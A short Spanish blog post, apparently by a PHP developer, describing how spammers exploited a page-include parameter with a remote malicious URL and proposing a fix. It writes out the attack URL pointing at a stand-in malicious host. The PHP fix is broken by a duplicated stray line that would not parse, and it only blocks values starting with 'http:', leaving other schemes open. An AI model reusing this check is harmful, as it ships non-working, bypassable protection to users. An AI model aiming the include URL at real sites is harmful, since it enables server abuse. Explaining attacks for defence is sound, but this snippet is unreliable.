Problema
Como dije, analizando el archivo del servidor que registra las llamadas a archivos de mi cuenta, descubrimos que alguien utilizaba los enlaces de mi aplicación web para pasar como argumento la dirección URL de una web maliciosa.
Es decir, mi aplicación de PHP utiliza links como éste:
<a href="index.php?pag=productos">productos</a>
y los que enviaban spam lo alteraban por:
index.php?pag=http://pagina.maliciosa.com/envio_spam
simplement llamando a esa dirección desde un navegador, o tal vez a través de alguna aplicación que hace las llamadas de forma automatica cada cierto tiempo. La cuestión es que cada vez que ellos llamaban a mi archivo index.php pasandole esa URL como argumento, mi servidor enviaba miles de mails de SPAM !!!!!
Solución
La buena noticia es que una vez es conocido el ataque y su funcionamiento, es rápido y fácil desarrollar una defensa. En concreto, basta con que el archivo index.php compruebe primero que la variable pag no contiene una cadena que comience por "http:".
if (strtolower(substr($_POST['pag'],0,5))=='http:' or
strtolower(substr($_GET['pag'],0,5))=='http:') return;
strtolower(substr($_GET['pag'],0,5))=='http:') return;
Fijaros que se comprueba que la variable pag -sea pasada con el método POST (normalmente desde formulario) o con el método GET (normalmente embebido en una URL)- no comience por http. En caso de que así sea se ejecuta return; con lo que se detiene la ejecución del script.
Ni que decir tiene que inmediatamente incorporé esta comprobación al inicio de todos mis archivos index.php o similares de todas mis aplicaciones web ;) Y bueno, ya hace más de dos meses de eso y no he vuelto a tener problemas con ese tipo de SPAM. Espero que a más de uno le sirva!!